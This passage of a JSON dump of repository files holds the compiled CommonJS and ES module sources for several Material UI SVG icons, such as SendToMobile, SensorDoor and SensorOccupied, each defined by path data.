_jsxRuntime.jsx)(\"path\", {\n  d: \"M13 12v4l4 1-4 1v4l10-5z\"\n}, \"1\")], 'SendTimeExtensionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendTimeExtensionOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6v6.26l2 1V6c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H5.01c-1.1 0-2 .9-2 2v3.8C5.7 9.8 6 11.96 6 12.5s-.29 2.7-3 2.7V19c0 1.1.9 2 2 2h3.8c0-2.16 1.37-2.78 2.2-2.94v-2.03c-1.43.17-3.15 1.04-3.87 2.97H5v-2.13c2.17-.8 3-2.87 3-4.37 0-1.49-.83-3.56-2.99-4.37V6H11V4c0-.28.22-.5.5-.5s.5.22.5.5v2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 12v4l4 1-4 1v4l10-5z\"\n}, \"1\")], 'SendTimeExtensionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendTimeExtensionRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H5.01c-1.1 0-2 .9-2 2v3.8C5.7 9.8 6 11.96 6 12.5s-.29 2.7-3 2.7V19c0 1.1.9 2 2 2h3.8c0-2.16 1.37-2.78 2.2-2.94v-9.3l9 4.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 12v4l4 1-4 1v4l10-5z\"\n}, \"1\")], 'SendTimeExtensionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendTimeExtensionRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H5.01c-1.1 0-2 .9-2 2v3.8C5.7 9.8 6 11.96 6 12.5s-.29 2.7-3 2.7V19c0 1.1.9 2 2 2h3.8c0-2.16 1.37-2.78 2.2-2.94v-9.3l9 4.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 12v4l4 1-4 1v4l10-5z\"\n}, \"1\")], 'SendTimeExtensionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendTimeExtensionSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-6c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H3.01v5.8C5.7 9.8 6 11.96 6 12.5s-.29 2.7-3 2.7V21h5.8c0-2.16 1.37-2.78 2.2-2.94v-9.3l9 4.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 12v4l4 1-4 1v4l10-5z\"\n}, \"1\")], 'SendTimeExtensionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendTimeExtensionSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-6c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H3.01v5.8C5.7 9.8 6 11.96 6 12.5s-.29 2.7-3 2.7V21h5.8c0-2.16 1.37-2.78 2.2-2.94v-9.3l9 4.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 12v4l4 1-4 1v4l10-5z\"\n}, \"1\")], 'SendTimeExtensionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendTimeExtensionTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6V4c0-.28-.22-.5-.5-.5s-.5.22-.5.5v2H5.01v2.13C7.17 8.94 8 11.01 8 12.5c0 1.5-.83 3.57-3 4.37V19h2.13c.71-1.93 2.44-2.8 3.87-2.97V8.76l2.89 1.45L18 12.26V6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.13 19H5v-2.13c2.17-.8 3-2.87 3-4.37 0-1.49-.83-3.56-2.99-4.37V6H11V4c0-.28.22-.5.5-.5s.5.22.5.5v2h6v6.26l2 1V6c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H5.01c-1.1 0-2 .9-2 2v3.8C5.7 9.8 6 11.96 6 12.5s-.29 2.7-3 2.7V19c0 1.1.9 2 2 2h3.8c0-2.16 1.37-2.78 2.2-2.94v-2.03c-1.43.17-3.15 1.04-3.87 2.97\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 12v4l4 1-4 1v4l10-5z\"\n}, \"2\")], 'SendTimeExtensionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendTimeExtensionTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6V4c0-.28-.22-.5-.5-.5s-.5.22-.5.5v2H5.01v2.13C7.17 8.94 8 11.01 8 12.5c0 1.5-.83 3.57-3 4.37V19h2.13c.71-1.93 2.44-2.8 3.87-2.97V8.76l2.89 1.45L18 12.26V6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.13 19H5v-2.13c2.17-.8 3-2.87 3-4.37 0-1.49-.83-3.56-2.99-4.37V6H11V4c0-.28.22-.5.5-.5s.5.22.5.5v2h6v6.26l2 1V6c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H5.01c-1.1 0-2 .9-2 2v3.8C5.7 9.8 6 11.96 6 12.5s-.29 2.7-3 2.7V19c0 1.1.9 2 2 2h3.8c0-2.16 1.37-2.78 2.2-2.94v-2.03c-1.43.17-3.15 1.04-3.87 2.97\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 12v4l4 1-4 1v4l10-5z\"\n}, \"2\")], 'SendTimeExtensionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendToMobile.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 17h2v4c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V3c0-1.1.9-1.99 2-1.99L17 1c1.1 0 2 .9 2 2v4h-2V6H7v12h10zm5-5-4-4v3h-5v2h5v3z\"\n}), 'SendToMobile');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendToMobile.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 17h2v4c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V3c0-1.1.9-1.99 2-1.99L17 1c1.1 0 2 .9 2 2v4h-2V6H7v12h10zm5-5-4-4v3h-5v2h5v3z\"\n}), 'SendToMobile');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendToMobileOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 8 4 4-4 4-1.41-1.41L18.17 13H13v-2h5.17l-1.59-1.59zM7 1.01 17 1c1.1 0 2 .9 2 2v4h-2V6H7v12h10v-1h2v4c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V3c0-1.1.9-1.99 2-1.99M7 21h10v-1H7zM7 4h10V3H7z\"\n}), 'SendToMobileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendToMobileOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 8 4 4-4 4-1.41-1.41L18.17 13H13v-2h5.17l-1.59-1.59zM7 1.01 17 1c1.1 0 2 .9 2 2v4h-2V6H7v12h10v-1h2v4c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V3c0-1.1.9-1.99 2-1.99M7 21h10v-1H7zM7 4h10V3H7z\"\n}), 'SendToMobileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendToMobileRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h10c0 .55.45 1 1 1s1-.45 1-1V3c0-1.1-.9-2-2-2L7 1.01C5.9 1.01 5 1.9 5 3v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1s-1 .45-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.65 11.65-2.79-2.79c-.32-.32-.86-.1-.86.35V11h-4c-.55 0-1 .45-1 1s.45 1 1 1h4v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.19.2-.51.01-.7\"\n}, \"1\")], 'SendToMobileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendToMobileRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h10c0 .55.45 1 1 1s1-.45 1-1V3c0-1.1-.9-2-2-2L7 1.01C5.9 1.01 5 1.9 5 3v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1s-1 .45-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.65 11.65-2.79-2.79c-.32-.32-.86-.1-.86.35V11h-4c-.55 0-1 .45-1 1s.45 1 1 1h4v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.19.2-.51.01-.7\"\n}, \"1\")], 'SendToMobileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendToMobileSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h10v1h2V1H5v22h14v-6h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 12-4-4v3h-5v2h5v3z\"\n}, \"1\")], 'SendToMobileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendToMobileSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h10v1h2V1H5v22h14v-6h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 12-4-4v3h-5v2h5v3z\"\n}, \"1\")], 'SendToMobileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendToMobileTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3h10v1H7zm0 17h10v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 12-4-4v3h-5v2h5v3zm-5 6H7V6h10v1h2V3c0-1.1-.9-2-2-2L7 1.01C5.9 1.01 5 1.9 5 3v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zM7 3h10v1H7zm10 18H7v-1h10z\"\n}, \"1\")], 'SendToMobileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendToMobileTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3h10v1H7zm0 17h10v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 12-4-4v3h-5v2h5v3zm-5 6H7V6h10v1h2V3c0-1.1-.9-2-2-2L7 1.01C5.9 1.01 5 1.9 5 3v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zM7 3h10v1H7zm10 18H7v-1h10z\"\n}, \"1\")], 'SendToMobileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 8.25 7.51 1-7.5-3.22zm.01 9.72 7.5-3.22-7.51 1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.01 3 2 10l15 2-15 2 .01 7L23 12zM4 8.25V6.03l7.51 3.22zm.01 9.72v-2.22l7.51-1z\"\n}, \"1\")], 'SendTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 8.25 7.51 1-7.5-3.22zm.01 9.72 7.5-3.22-7.51 1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.01 3 2 10l15 2-15 2 .01 7L23 12zM4 8.25V6.03l7.51 3.22zm.01 9.72v-2.22l7.51-1z\"\n}, \"1\")], 'SendTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorDoor.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v18h16V4c0-1.1-.9-2-2-2m-2.5 11.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'SensorDoor');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorDoor.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v18h16V4c0-1.1-.9-2-2-2m-2.5 11.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'SensorDoor');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorDoorOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4v16H6V4zm0-2H6c-1.1 0-2 .9-2 2v18h16V4c0-1.1-.9-2-2-2m-2.5 8.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5S17 12.83 17 12s-.67-1.5-1.5-1.5\"\n}), 'SensorDoorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorDoorOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4v16H6V4zm0-2H6c-1.1 0-2 .9-2 2v18h16V4c0-1.1-.9-2-2-2m-2.5 8.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5S17 12.83 17 12s-.67-1.5-1.5-1.5\"\n}), 'SensorDoorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorDoorRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2.5 11.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'SensorDoorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorDoorRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2.5 11.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'SensorDoorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorDoorSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4v20h16zm-4.5 11.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'SensorDoorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorDoorSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4v20h16zm-4.5 11.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'SensorDoorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorDoorTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4v16H6V4zm-2.5 6.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5S17 12.83 17 12s-.67-1.5-1.5-1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4v16H6V4zm0-2H6c-1.1 0-2 .9-2 2v18h16V4c0-1.1-.9-2-2-2m-2.5 8.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5S17 12.83 17 12s-.67-1.5-1.5-1.5\"\n}, \"1\")], 'SensorDoorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorDoorTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4v16H6V4zm-2.5 6.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5S17 12.83 17 12s-.67-1.5-1.5-1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4v16H6V4zm0-2H6c-1.1 0-2 .9-2 2v18h16V4c0-1.1-.9-2-2-2m-2.5 8.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5S17 12.83 17 12s-.67-1.5-1.5-1.5\"\n}, \"1\")], 'SensorDoorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorOccupied.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0 1c-1.84 0-3.56.5-5.03 1.37-.61.35-.97 1.02-.97 1.72V17h12v-1.91c0-.7-.36-1.36-.97-1.72C15.56 12.5 13.84 12 12 12m9.23-3.85 1.85-.77c-1.22-2.91-3.55-5.25-6.46-6.46l-.77 1.85c2.42 1.02 4.36 2.96 5.38 5.38M8.15 2.77 7.38.92C4.47 2.14 2.14 4.47.92 7.38l1.85.77c1.02-2.42 2.96-4.36 5.38-5.38M2.77 15.85l-1.85.77c1.22 2.91 3.55 5.25 6.46 6.46l.77-1.85c-2.42-1.02-4.36-2.96-5.38-5.38m13.08 5.38.77 1.85c2.91-1.22 5.25-3.55 6.46-6.46l-1.85-.77c-1.02 2.42-2.96 4.36-5.38 5.38\"\n}), 'SensorOccupied');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorOccupied.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0 1c-1.84 0-3.56.5-5.03 1.37-.61.35-.97 1.02-.97 1.72V17h12v-1.91c0-.7-.36-1.36-.97-1.72C15.56 12.5 13.84 12 12 12m9.23-3.85 1.85-.77c-1.22-2.91-3.55-5.25-6.46-6.46l-.77 1.85c2.42 1.02 4.36 2.96 5.38 5.38M8.15 2.77 7.38.92C4.47 2.14 2.14 4.47.92 7.38l1.85.77c1.02-2.42 2.96-4.36 5.38-5.38M2.77 15.85l-1.85.77c1.22 2.91 3.55 5.25 6.46 6.46l.77-1.85c-2.42-1.02-4.36-2.96-5.38-5.38m13.08 5.38.77 1.85c2.91-1.22 5.25-3.55 6.46-6.46l-1.85-.77c-1.02 2.42-2.96 4.36-5.38 5.38\"\n}), 'SensorOccupied');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorOccupiedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 5c-1.84 0-3.56.5-5.03 1.37-.61.35-.97 1.02-.97 1.72V17h12v-1.91c0-.7-.36-1.36-.97-1.72C15.56 12.5 13.84 12 12 12m-3.86 3c1.18-.65 2.51-1 3.86-1s2.68.35 3.85 1zm13.09-6.85 1.85-.77c-1.22-2.91-3.55-5.25-6.46-6.46l-.77 1.85c2.42 1.02 4.36 2.96 5.38 5.38M8.15 2.77 7.38.92C4.47 2.14 2.14 4.47.92 7.38l1.85.77c1.02-2.42 2.96-4.36 5.38-5.38M2.77 15.85l-1.85.77c1.22 2.91 3.55 5.25 6.46 6.46l.77-1.85c-2.42-1.02-4.36-2.96-5.38-5.38m13.08 5.38.77 1.85c2.91-1.22 5.25-3.55 6.46-6.46l-1.85-.77c-1.02 2.42-2.96 4.36-5.38 5.38\"\n}), 'SensorOccupiedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorOccupiedOutlined.mjs",
